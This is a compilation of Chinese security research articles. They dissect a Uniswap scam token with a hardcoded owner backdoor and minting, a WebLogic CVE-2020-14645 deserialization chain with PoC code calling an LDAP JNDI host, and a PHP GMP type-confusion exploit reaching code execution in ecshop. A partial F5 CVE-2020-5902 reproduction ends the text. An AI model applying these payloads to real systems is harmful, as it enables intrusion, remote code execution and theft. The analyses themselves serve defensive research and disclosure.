假设乘积 k 是一个固定不变的常量,可以确定当变量 x 的值越大,那么 y 的值就越小;相反 x 的值越小,y 的值就越大。据此可以得出当 x 被增大 p 时,需要将 y 减少 q 才能保持等式的恒定。 为了做一些更实用的工作,将 x 和 y 替换为货币储备金的储备量,这些储备金将被存储在智能合约中。
即用户可以把部署的合约可以添加到
Uniswap V1
中,通过充入资产提供流动性,获得该资金池(交易对)产生的交易手续费分红,过程完全去中心化、无审核上币。接着
1You don't have to worry that you will lose money, because other people can only buy and can't sell it in this contract. When the trading pair is created, you can change for another wallet (the wallet address of the contract can be bought and sold) to buy it, and then test whether it can be sold. Here's the information for selling`这是为什么?看看代码
合约代币101行,
require(allow[_from] == true)
,即转账地址from
需要在allow
这个mapping中为布尔值true
。而修改
allow
在addAllow
函数中,且需要合约Owner
权限。通过合约
Ownable
代码第13行可知,onlyOwner
属性中,只有地址为724621317456347144876435459248886471299600550182
即前面提到的0x7eed24C6E36AD2c4fef31EC010fc384809050926
用户可以通过校验,而且是硬编码。这也是原文攻击者为什么使用了以太坊地址的uint160格式来编码地址,而不是直观的十六进制地址。最终部署的合约SoloToken直接继承了
Ownable
合约即只要用户部署该合约,合约
Owner
权限都在攻击者0x7eed24C6E36AD2c4fef31EC010fc384809050926
手中。攻击者可以随时转移合约权限。在教程中攻击者还提到
如果你想吸引买家,资金池必须足够大,如果只投入1-2个ETH,其他人将无法购买它,因为基金池太小。即希望部署合约的用户在资金池中添加更多的eth数量。攻击者为什么要单独
Notice
呢?合约代码第124行,
mint
函数,Owner
权限用户可以直接增发代币。这是合约最关键部分。即攻击者可以直接在合约中给指定地址增发代币,然后利用增发得来的代币去Uniswap V1
直接兑换合约部署用户存放在Uniswap V1
资金池中的eth
。这也是为啥教程作者着重提示多添加eth
数量的根本原因。截止目前,攻击者地址
0x7eed24C6E36AD2c4fef31EC010fc384809050926
中已经获利大约36eth
。总结
Uniswap
因无需订单薄即可交易的模型创新引来赞誉,也因投机者和诈骗者的涌入遭到非议,在业内人士看来,Uniswap
的自动做市商机制有着特别的价值,作恶的不是Uniswap
,但恶意与贪婪正在这个去中心化协议中一览无余。流动性挖矿点燃DeFi烈火,火势烧到去中心化交易所Uniswap。它凭借支持一键兑币、做市可获手续费分红,迅速成为最炙手可热的DeFi应用之一。
财富故事在这里上演,某个新币种可能在一天之内制造出数十倍的涨幅,让参与者加快实现「小目标」;泡沫和罪恶也在此滋生,完全去中心化、无审核上币,让Uniswap成了人人可发币割韭菜的温床。
DeFi
作为当下区块链热门话题,很容易吸引人们的注意。攻击者利用人们贪图便宜的好奇心理。使用所谓的uniswap-defi项目漏洞
教程一步一步带用户入坑。以当下区块链中最火的DeFi
类为主题,分享了揭秘uniswap-defi项目漏洞-割韭菜新手法
教程。如果用户不注意看合约代码,很容易掉入攻击者精心构造的陷阱中去。成为真正的韭菜
。REF
[1] UNISWAP issuing tokens-enhancing tokens (consumers can only buy but can not sell)
https://note.youdao.com/ynoteshare1/index.html?id=a41d926f5bcbe3f69ddef765ced5e27b&type=note?auto
[2] 代币合约
https://wwr.lanzous.com/i4MJOg6f2rg
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1323/
-
WebLogic coherence UniversalExtractor 反序列化 (CVE-2020-14645) 漏洞分析
作者:DEADF1SH_CAT@知道创宇404实验室
时间:2020年8月3日前言
Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。
该漏洞是针对于CVE-2020-2883的补丁绕过,CVE-2020-2883补丁将
MvelExtractor
和ReflectionExtractor
列入黑名单,因此需要另外寻找一个存在extract
且方法内存在恶意操作的类,这里用到的类为com.tangosol.util.extractor.UniversalExtractor
,存在于Coherence组件。CVE-2020-2883
先来回顾一下CVE-2020-2883的两个poc调用链
123456789101112131415161718192021222324252627//poc1javax.management.BadAttributeValueExpException.readObject()com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()java.util.concurrent.ConcurrentSkipListMap$SubMap.size()java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()java.util.concurrent.ConcurrentSkipListMap.cpr()com.tangosol.util.comparator.ExtractorComparator.compare()com.tangosol.util.extractor.ChainedExtractor.extract()com.tangosol.util.extractor.ReflectionExtractor().extract()Method.invoke()//...com.tangosol.util.extractor.ReflectionExtractor().extract()Method.invoke()Runtime.exec()//poc2java.util.PriorityQueue.readObject()java.util.PriorityQueue.heapify()java.util.PriorityQueue.siftDown()java.util.PriorityQueue.siftDownUsingComparator()com.tangosol.util.extractor.AbstractExtractor.compare()com.tangosol.util.extractor.MultiExtractor.extract()com.tangosol.util.extractor.ChainedExtractor.extract()//...Method.invoke()//...Runtime.exec()其本质上,都是通过
ReflectionExtractor
调用任意方法,从而实现调用Runtime对象的exec方法执行任意命令,但补丁现在已经将ReflectionExtractor
列入黑名单,那么只能使用UniversalExtractor
重新构造一条利用链,这里使用poc2的入口即CommonsCollections4链的入口进行构造。CVE-2020-14645
为了方便一些纯萌新看懂,此处将会从0开始分析反序列化链(啰嗦模式警告),并且穿插一些poc构造时需要注意的点,先来看看调用栈。
从头开始跟进分析整个利用链,先来看看
PriorityQueue.readObject()
方法。第792会执行for循环,将
s.readObject()
方法赋给queue
对象数组,跟进heapify()
方法。这里会取一半的queue数组分别执行
siftDown(i, (E) queue[i]);
,实质上PriorityQueue
是一个最小堆,这里通过siftDown()
方法进行排序实现堆化,那么跟进siftDown()
方法。这里有个对于
comparator
的判定,我们暂时不考虑comparator
的值是什么,接下来会使用到,我们先跟进siftDownUsingComparator()
方法。重点关注
comparator.compare()
方法,那么我们先来看看comparator
是怎么来的。是在
PriorityQueue
的构造函数中被赋值的,并且这里可以看到,queue
对象数组也是在这里被初始化的。那么结合上述所分析的点,我们需要构造一个长度为2的queue
对象数组,才能触发排序,进入siftDown()
方法。同时还要选择一个comparator
,这里选用ExtractorComparator
。继续跟进ExtractorComparator.compare()
方法。这里将会调用
this.m_extractor.extract()
方法,让我们看看this.m_extractor
是怎么来的。可以看到,
this.m_extractor
的值是与传入的extractor
有关的。这里需要构造this.m_extractor
为ChainedExtractor
,才可以调用ChainedExtractor
的extract()
方法实现串接extract()
调用。因此,首先需要构造这样一个PriorityQueue
对象:12PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));//这里chainedExtractor为ChainedExtractor对象,后续会说明chainedExtractor对象的具体构造继续跟进
ChainedExtractor.extract()
方法,可以发现会遍历aExtractor
数组,并调用其extract()
方法。此处
aExtractor
数组是通过ChainedExtractor
的父类AbstractCompositeExtractor
的getExtractors()
方法获取到父类的m_aExtractor
属性值。所以,poc中需要这样构造
m_aExtractor
:123Class clazz = ChainedExtractor.class.getSuperclass();Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");m_aExtractor.setAccessible(true);m_aExtractor
具体的值需要怎么构造,需要我们继续往下分析。先回到我们所要利用到的UniversalExtractor
,跟进其extract()
方法。此处由于
m_cacheTarget
使用了transient
修饰,无法被反序列化,因此只能执行else部分,跟进extractComplex()
方法。这里看到最后有
method.invoke()
方法,oTarget
和aoParam
都是我们可控的,因此我们需要看看method
的处理,跟进findMethod
方法。可以看到第477行可以获取任意方法,但是要进入if语句,得先使
fExactMatch
为true
,fStatic
为false
。可以看到fStatic
是我们可控的,而fExactMatch
默认为true
,只要没进入for循环即可保持true
不变,使cParams
为空即aclzParam
为空的Class数组即可,此处aclzParam
从getClassArray()
方法获取。显而易见,传入一个空的
Object[]
即可。回到extractComplex()
方法,此时我们只要我们进入第192行的else语句中,即可调用任意类的任意方法。但此时还需要fProperty
的值为false
,跟进isPropertyExtractor()
方法。可惜
m_fMethod
依旧是使用transient
修饰,溯源m_fMethod
的赋值过程。可以看到,由于this对象的原因,
getValueExtractorCanonicalName()
方法始终返回的是null,那么跟进computeValuExtractorCanonicalName()
方法。此处不难理解,如果
aoParam
不为null
且数组长度大于0就会返回null
,因此我们调用的方法必须是无参的(因为aoParam
必须为null
)。接着如果方法名sName
不以 () 结尾,则会直接返回方法名。否则会判断方法名是否以VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES
数组中的前缀开头,是的话就会截取掉并返回。回到
extractComplex
方法中,在if条件里会对上述返回的方法名做首字母大写处理,然后拼接BEAN_ACCESSOR_PREFIXES
数组中的前缀,判断clzTarget
类中是否含有拼接后的方法。这时发现无论如何我们都只能调用任意类中get
和is
开头的方法,并且还要是无参的。整理下我们可以利用的思路:
- 调用
init()
方法,对this.method
进行赋值,从而使fProperty
的值为false
,从而进入else分支语句,实现调用任意类的任意方法。然而这个思路马上就被终结了,因为我们根本调用不了非get
和is
开头的方法!!! - 被
transient
修饰的m_cacheTarget
在extractComplex
方法中被赋值
在
ExtractorComparator.compare()
方法中,我们知道extract
方法能被执行两次,因此在第二次执行时,能够在UniversalExtractor.extract
方法中调用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)
方法。但是这种方法也是行不通的,因为getMethod()
获取的就是图上红框的中的method
,很显然method
依旧受到限制,当我们调用非get
和is
开头的方法时,findMethod
会返回null
。- 只能走方法被限制的路线了,寻找所有类中以
get
和is
开头并且可利用的无参方法
复现过Fastjson反序列化漏洞的小伙伴,应该清楚Fastjson的利用链寻找主要针对
get
和set
方法,这时候就与我们的需求有重合处,不难想到JdbcRowSetImpl
的JNDI注入,接下来一起回顾一下。其
connect
方法中调用了lookup
方法,并且DataSourceName
是可控的,因此存在JNDI注入漏洞,看看有哪些地方调用了connect
方法。有三个方法调用了
connect
方法,分别为prepare
、getDatabaseMetaData
和setAutoCommit
方法,逐一分析。- prepare()
一开始就调用了
connect
方法,继续回溯哪里调用了prepare
方法。execute
方法,应该是用于执行sql查询的这个应该是用于获取参数元数据的方法,
prepare()
方法应该都是用于一些与sql语句有关的操作方法中。- getDatabaseMetaData()
- setAutoCommit()
必须让
this.conn
为空,对象初始化时默认为null
,因此直接进入else语句。其实this.conn
就是connect
方法,用于保持数据库连接状态。回到
connect
方法,我们需要进入else语句才能执行lookup
方法。有两个前提条件,this.conn
为空,也就是执行connect
方法时是第一次执行。第二个条件是必须设置DataSourceName
的值,跟进去该参数,发现为父类BaseRowSet
的private
属性,可被反序列化。那么,对于WebLogic这个反序列化利用链,我们只要利用
getDatabaseMetaData()
方法就行,接下来看看该怎么一步步构造poc。先从JdbcRowSetImpl
的JNDI注入回溯构造:1234567JdbcRowSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance();Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class);setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行构造//利用ysoserial的Reflections模块,由于需要获取queue[i]进行compare,因此需要对数组进行赋值Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));queueArray[0] = jdbcRowSet;queueArray[1] = jdbcRowSet;接着构造
UniversalExtract
对象,用于调用JdbcRowSetImpl
对象的方法12345UniversalExtractor universalExtractor = new UniversalExtractor();Object object = new Object[]{};Reflections.setFieldValue(universalExtractor,"m_aoParam",object);Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");Reflections.setFieldValue(universalExtractor,"m_fMethod",false);紧接着将
UniversalExtract
对象装载进文章开头构造的chainedExtractor
对象中12ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor };field.set(chainedExtractor,valueExtractor_list2);//field为m_aExtractor此处,还有一个小点需注意,一个在文章开头部分构造的
PriorityQueue
对象,需要构造一个临时Extractor
对象,用于创建时的comparator
,此处以ReflectionExtractor
为例。其次,PriorityQueue
对象需要执行两次add
方法。12345ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{});ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor});PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));queue.add("1");queue.add("1");回到
PriorityQueue
对象的readObject
方法首先需要能进入for循环,for循环就得有
size
的值,size
值默认为0,private属性,可以通过反射直接设置,但是不想通过反射怎么办,回溯赋值过程。在
offer
方法处获得赋值,而offer
方法又是由add
方法调用。(注意此处会执行siftUp
方法,其中会触发comparator的compare
方法,从而执行extract
方法)。不难理解,每
add
一次,size
加1,根据上述heapify
方法,只会从开头开始取一半的queue
数组执行siftDown
方法。所以size
至少为2,需要执行两次add
方法,而不是add(2)
一次。至此,poc的主体就构造完成,其余部分就不在此阐述了,当然构造方式有很多,此处为方便萌新,分析得比较啰嗦,poc也比较杂乱,大家可以自行构造属于自己的poc。如果想要了解简洁高效的poc,可以参考一下Y4er师傅的poc[3]。
体会
初次接触完整的反序列化漏洞分析,在整个分析过程中收获到很多东西。笔者得到的不仅仅只是知识上的收获,在调试过程中也学到了很多调试技巧。另外本文看起来可能会比较啰嗦冗余,但其初衷是想要站在读者的角度去思考,去为了方便一些同样刚入门的人阅读起来,能够更加浅显易懂。学安全,我们经常会碰壁,对于一些知识会比较难啃。有些人遇到就选择了放弃,然后却因此原地踏步。不妨就这样迎难而上,咬着牙啃下去,到最后,你会发现,你得到的,远远比你付出的要多。可能对部分人不太有效、毕竟因人而异,但这是自己在学习过程中所体会到的,也因此想要分享给大家这么一个建议。相信在未来,自己对于反序列化漏洞的理解以及挖掘思路,能够有更深刻的认知,同时激发出自己不一样的思维碰撞。
References
[1] Oracle 7月安全更新
https://www.oracle.com/security-alerts/cpujul2020.html
[2] T3反序列化 Weblogic12.2.1.4.0 JNDI注入
https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ
[3] Y4er的poc
https://github.com/Y4er/CVE-2020-14645
[4] Java反序列化:基于CommonsCollections4的Gadget分析
https://www.freebuf.com/articles/others-articles/193445.html
[5] Oracle WebLogic 最新补丁的绕过漏洞分析(CVE-2020-2883)
https://blog.csdn.net/systemino/article/details/106117659
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1280/
- 调用
-
从反序列化到类型混淆漏洞——记一次 ecshop 实例利用
作者:LoRexxar'@知道创宇404实验室
时间:2020年3月31日
English Version: https://paper.seebug.org/1268本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。
前几天偶然看到了一篇在Hackerone上提交的漏洞报告,在这个漏洞中,漏洞发现者提出了很有趣的利用,作者利用GMP的一个类型混淆漏洞,配合相应的利用链可以构造mybb的一次代码执行,这里我们就一起来看看这个漏洞。
以下文章部分细节,感谢漏洞发现者@taoguangchen的帮助。
GMP类型混淆漏洞
漏洞利用条件
- php 5.6.x
- 反序列化入口点
- 可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)
漏洞详情
gmp.c
1234567891011121314151617static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */{...ALLOC_INIT_ZVAL(zv_ptr);if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)|| Z_TYPE_P(zv_ptr) != IS_ARRAY) {zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);goto exit;}if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {zend_hash_copy(zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *));}zend_object_handlers.c
123456789ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */{zend_object *zobj;zobj = Z_OBJ_P(object);if (!zobj->properties) {rebuild_object_properties(zobj);}return zobj->properties;}从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。
__wakeup
等魔术方法可以导致ZVAL在内存中被修改。因此,攻击者可以将**object转化为整数型或者bool型的ZVAL,那么我们就可以通过Z_OBJ_P
访问存储在对象储存中的任何对象,这也就意味着可以通过zend_hash_copy
覆盖任何对象中的属性,这可能导致很多问题,在一定场景下也可以导致安全问题。或许仅凭借代码片段没办法理解上述的话,但我们可以用实际测试来看看。
首先我们来看一段测试代码
123456789101112131415161718192021222324252627282930313233343536373839<?phpclass obj{var $ryat;function __wakeup(){$this->ryat = 1;}}class b{var $ryat =1;}$obj = new stdClass;$obj->aa = 1;$obj->bb = 2;$obj2 = new b;$obj3 = new stdClass;$obj3->aa =2;$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';$x = unserialize($exploit);$obj4 = new stdClass;var_dump($x);var_dump($obj);var_dump($obj2);var_dump($obj3);var_dump($obj4);?>在代码中我展示了多种不同情况下的环境。
让我们来看看结果是什么?
12345678910111213141516171819202122232425array(1) {[0]=>&int(1)}object(stdClass)#1 (3) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(obj)#5 (1) {["ryat"]=>&int(1)}}object(b)#2 (1) {["ryat"]=>int(1)}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#4 (0) {}我成功修改了第一个声明的对象。
但如果我将反序列化的类改成b会发生什么呢?
1$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';很显然的是,并不会影响到其他的类变量
1234567891011121314151617181920212223242526272829303132333435363738394041array(1) {[0]=>&object(GMP)#4 (4) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(b)#5 (1) {["ryat"]=>&object(GMP)#4 (4) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>*RECURSION*["num"]=>string(2) "32"}}["num"]=>string(2) "32"}}object(stdClass)#1 (2) {["aa"]=>int(1)["bb"]=>int(2)}object(b)#2 (1) {["ryat"]=>int(1)}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#6 (0) {}如果我们给class b加一个
__Wakeup
函数,那么又会产生一样的效果。但如果我们把wakeup魔术方法中的变量设置为2
123456789class obj{var $ryat;function __wakeup(){$this->ryat = 2;}}返回的结果可以看出来,我们成功修改了第二个声明的对象。
1234567891011121314151617181920212223242526272829array(1) {[0]=>&int(2)}object(stdClass)#1 (2) {["aa"]=>int(1)["bb"]=>int(2)}object(b)#2 (4) {["ryat"]=>int(1)["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(obj)#5 (1) {["ryat"]=>&int(2)}}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#4 (0) {}但如果我们把ryat改为4,那么页面会直接返回500,因为我们修改了没有分配的对象空间。
在完成前面的试验后,我们可以把漏洞的利用条件简化一下。
如果我们有一个可控的反序列化入口,目标后端PHP安装了GMP插件(这个插件在原版php中不是默认安装的,但部分打包环境中会自带),如果我们找到一个可控的
__wakeup
魔术方法,我们就可以修改反序列化前声明的对象属性,并配合场景产生实际的安全问题。如果目标的php版本在5.6 <= 5.6.11中,我们可以直接使用内置的魔术方法来触发这个漏洞。
1var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));真实世界案例
在讨论完GMP类型混淆漏洞之后,我们必须要讨论一下这个漏洞在真实场景下的利用方式。
漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。
这里我们不继续讨论这个漏洞,而是从头讨论一下在ecshop中的利用方式。
漏洞环境
- ecshop 4.0.7
- php 5.6.9
反序列化漏洞
首先我们需要找到一个反序列化入口点,这里我们可以全局搜索
unserialize
,挨个看一下我们可以找到两个可控的反序列化入口。其中一个是search.php line 45
123456789...{$string = base64_decode(trim($_GET['encode']));if ($string !== false){$string = unserialize($string);if ($string !== false)...这是一个前台的入口,但可惜的是引入初始化文件在反序列化之后,这也就导致我们没办法找到可以覆盖类变量属性的目标,也就没办法进一步利用。
还有一个是admin/order.php line 229
123456/* 取得上一个、下一个订单号 */if (!empty($_COOKIE['ECSCP']['lastfilter'])){$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));...后台的表单页的这个功能就满足我们的要求了,不但可控,还可以用urlencode来绕过ecshop对全局变量的过滤。
这样一来我们就找到了一个可控并且合适的反序列化入口点。
寻找合适的类属性利用链
在寻找利用链之前,我们可以用
1get_declared_classes()来确定在反序列化时,已经声明定义过的类。
在我本地环境下,除了PHP内置类以外我一共找到13个类
1234567891011121314151617181920212223242526[129]=>string(3) "ECS"[130]=>string(9) "ecs_error"[131]=>string(8) "exchange"[132]=>string(9) "cls_mysql"[133]=>string(11) "cls_session"[134]=>string(12) "cls_template"[135]=>string(11) "certificate"[136]=>string(6) "oauth2"[137]=>string(15) "oauth2_response"[138]=>string(14) "oauth2_request"[139]=>string(9) "transport"[140]=>string(6) "matrix"[141]=>string(16) "leancloud_client"从代码中也可以看到在文件头引入了多个库文件
123456require(dirname(__FILE__) . '/includes/init.php');require_once(ROOT_PATH . 'includes/lib_order.php');require_once(ROOT_PATH . 'includes/lib_goods.php');require_once(ROOT_PATH . 'includes/cls_matrix.php');include_once(ROOT_PATH . 'includes/cls_certificate.php');require('leancloud_push.php');这里我们主要关注init.php,因为在这个文件中声明了ecshop的大部分通用类。
在逐个看这里面的类变量时,我们可以敏锐的看到一个特殊的变量,由于ecshop的后台结构特殊,页面内容大多都是由模板编译而成,而这个模板类恰好也在init.php中声明
12require(ROOT_PATH . 'includes/cls_template.php');$smarty = new cls_template;回到order.php中我们寻找与
$smarty
相关的方法,不难发现,主要集中在两个方法中12345...$smarty->assign('shipping', $shipping);$smarty->display('print.htm');...而这里我们主要把视角集中在display方法上。
粗略的浏览下display方法的逻辑大致是
12345请求相应的模板文件-->经过一系列判断,将相应的模板文件做相应的编译-->输出编译后的文件地址比较重要的代码会在
make_compiled
这个函数中被定义123456789101112131415161718192021function make_compiled($filename){$name = $this->compile_dir . '/' . basename($filename) . '.php';...if ($this->force_compile || $filestat['mtime'] > $expires){$this->_current_file = $filename;$source = $this->fetch_str(file_get_contents($filename));if (file_put_contents($name, $source, LOCK_EX) === false){trigger_error('can\'t write:' . $name);}$source = $this->_eval($source);}return $source;}当流程走到这一步的时候,我们需要先找到我们的目标是什么?
重新审视
cls_template.php
的代码,我们可以发现涉及到代码执行的只有几个函数。12345678910111213141516171819202122232425262728function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据{$pa = $this->str_trim($val);foreach ($pa AS $value){if (strrpos($value, '=')){list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));if ($b{0} == '$'){if ($type){eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');}else{$para[$a] = $this->get_val(substr($b, 1));}}else{$para[$a] = $b;}}}return $para;}get_para只在select中调用,但是没找到能触发select的地方。
然后是pop_vars
12345678910function pop_vars(){$key = array_pop($this->_temp_key);$val = array_pop($this->_temp_val);if (!empty($key)){eval($key);}}恰好配合GMP我们可以控制
$this->_temp_key
变量,所以我们只要能在上面的流程中找到任意地方调用这个方法,我们就可以配合变量覆盖构造一个代码执行。在回看刚才的代码流程时,我们从编译后的PHP文件中找到了这样的代码
order_info.htm.php
1<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>在遍历完表单之后,正好会触发
pop_vars
。这样一来,只要我们控制覆盖
cls_template
变量的_temp_key
属性,我们就可以完成一次getshell最终利用效果
Timeline
- 2020.03.31 发现漏洞。
- 2020.03.31 将漏洞报送厂商、CVE、CNVD等。
- 2020.07.08 符合90天漏洞披露期,公开细节。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1267/
-
F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析
作者:Longofo@知道创宇404实验室
时间:2020年7月10日
English Version: https://paper.seebug.org/1272/F5 BIG-IP最近发生了一次比较严重的RCE漏洞,其中主要公开出来的入口就是tmsh与hsqldb方式,tmsh的利用与分析分析比较多了,如果复现过tmsh的利用,就应该知道这个地方利用有些鸡肋,后面不对tmsh进行分析,主要看下hsqldb的利用。hsqldb的利用poc已经公开,但是java hsqldb的https导致一直无法复现,尝试了各种方式也没办法了,只好换其他思路,下面记录下复现与踩坑的过程。
利用源码搭建一个hsqldb http servlet
如果调试过hsqldb,就应该知道hsqldb.jar的代码是无法下断点调试的,这是因为hsqldb中类的linenumber table信息没有了,linenumber table只是用于调式用的,对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别:
使用
javap -verbose hsqlServlet.class
命令看下hsqldb中hsqlServlet.class类的详细信息:123456789101112131415161718192021222324252627Classfile /C:/Users/dell/Desktop/hsqlServlet.classLast modified 2018-11-14; size 128 bytesMD5 checksum 578c775f3dfccbf4e1e756a582e9f05cpublic class hsqlServlet extends org.hsqldb.Servletminor version: 0major version: 51flags: ACC_PUBLIC, ACC_SUPERConstant pool:#1 = Methodref #3.#7 // org/hsqldb/Servlet."<init>":()V#2 = Class #8 // hsqlServlet#3 = Class #9 // org/hsqldb/Servlet#4 = Utf8 <init>#5 = Utf8 ()V#6 = Utf8 Code#7 = NameAndType #4:#5 // "<init>":()V#8 = Utf8 hsqlServlet#9 = Utf8 org/hsqldb/Servlet{public hsqlServlet();descriptor: ()Vflags: ACC_PUBLICCode:stack=1, locals=1, args_size=10: aload_01: invokespecial #1 // Method org/hsqldb/Servlet."<init>":()V4: return}使用
javap -verbose Test.class
看下自己编译的类信息:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192Classfile /C:/Users/dell/Desktop/Test.classLast modified 2020-7-13; size 586 bytesMD5 checksum eea80d1f399295a29f02f30a3764ff25Compiled from "Test.java"public class Testminor version: 0major version: 51flags: ACC_PUBLIC, ACC_SUPERConstant pool:#1 = Methodref #7.#22 // java/lang/Object."<init>":()V#2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream;#3 = String #25 // aaa#4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V#5 = String #19 // test#6 = Class #28 // Test#7 = Class #29 // java/lang/Object#8 = Utf8 <init>#9 = Utf8 ()V#10 = Utf8 Code#11 = Utf8 LineNumberTable#12 = Utf8 LocalVariableTable#13 = Utf8 this#14 = Utf8 LTest;#15 = Utf8 main#16 = Utf8 ([Ljava/lang/String;)V#17 = Utf8 args#18 = Utf8 [Ljava/lang/String;#19 = Utf8 test#20 = Utf8 SourceFile#21 = Utf8 Test.java#22 = NameAndType #8:#9 // "<init>":()V#23 = Class #30 // java/lang/System#24 = NameAndType #31:#32 // out:Ljava/io/PrintStream;#25 = Utf8 aaa#26 = Class #33 // java/io/PrintStream#27 = NameAndType #34:#35 // println:(Ljava/lang/String;)V#28 = Utf8 Test#29 = Utf8 java/lang/Object#30 = Utf8 java/lang/System#31 = Utf8 out#32 = Utf8 Ljava/io/PrintStream;#33 = Utf8 java/io/PrintStream#34 = Utf8 println#35 = Utf8 (Ljava/lang/String;)V{public Test();descriptor: ()Vflags: ACC_PUBLICCode:stack=1, locals=1, args_size=10: aload_01: invokespecial #1 // Method java/lang/Object."<init>":()V4: returnLineNumberTable:line 1: 0LocalVariableTable:Start Length Slot Name Signature0 5 0 this LTest;public static void main(java.lang.String[]);descriptor: ([Ljava/lang/String;)Vflags: ACC_PUBLIC, ACC_STATICCode:stack=2, locals=1, args_size=10: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;3: ldc #3 // String aaa5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V8: returnLineNumberTable:line 3: 0line 4: 8LocalVariableTable:Start Length Slot Name Signature0 9 0 args [Ljava/lang/String;public void test();descriptor: ()Vflags: ACC_PUBLICCode:stack=2, locals=1, args_size=10: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;3: ldc #5 // String test5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V8: returnLineNumberTable:line 7: 0line 8: 8LocalVariableTable:Start Length Slot Name Signature0 9 0 this LTest;}SourceFile: "Test.java"可以看到自己编译的类中,每个method中都有一个 LineNumberTable,这个信息就是用于调试的信息,但是hsqldb中没有这个信息,所以是无法调试下断点的,hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。
没办法调试是一件很难受的事情,我现在想到的有两种:
- 反编译hsqldb的代码,自己再重新编译,这样就有linenumber信息了,但是反编译再重新编译可能会遇到一些错误问题,这部分得自己手动把代码修改正确,这样确实是可行的,在后面f5的hsqldb分析中可以看到这种方式
- 代码开源,直接用源码跑
hsqldb的代码正好是开源的,那么这里就直接用源码来开启一个servlet吧。
环境:
- hsqldb source代码是1.8的,现在新版已经2.5.x了,为了和f5中的hsqldb吻合,还是用1.8的代码吧
- JDK7u21,F5 BIG-IP 14版本使用的JDK7,所以这里尽量和它吻合避免各种问题
虽然开源了,但是拖到idea依然还有些问题,我修改了一些代码,让他正常跑起来了,修改好的代码放到github上了,最后项目结构如下:
使用http方式利用hsqldb漏洞(ysoserial cc6,很多其他链也行):
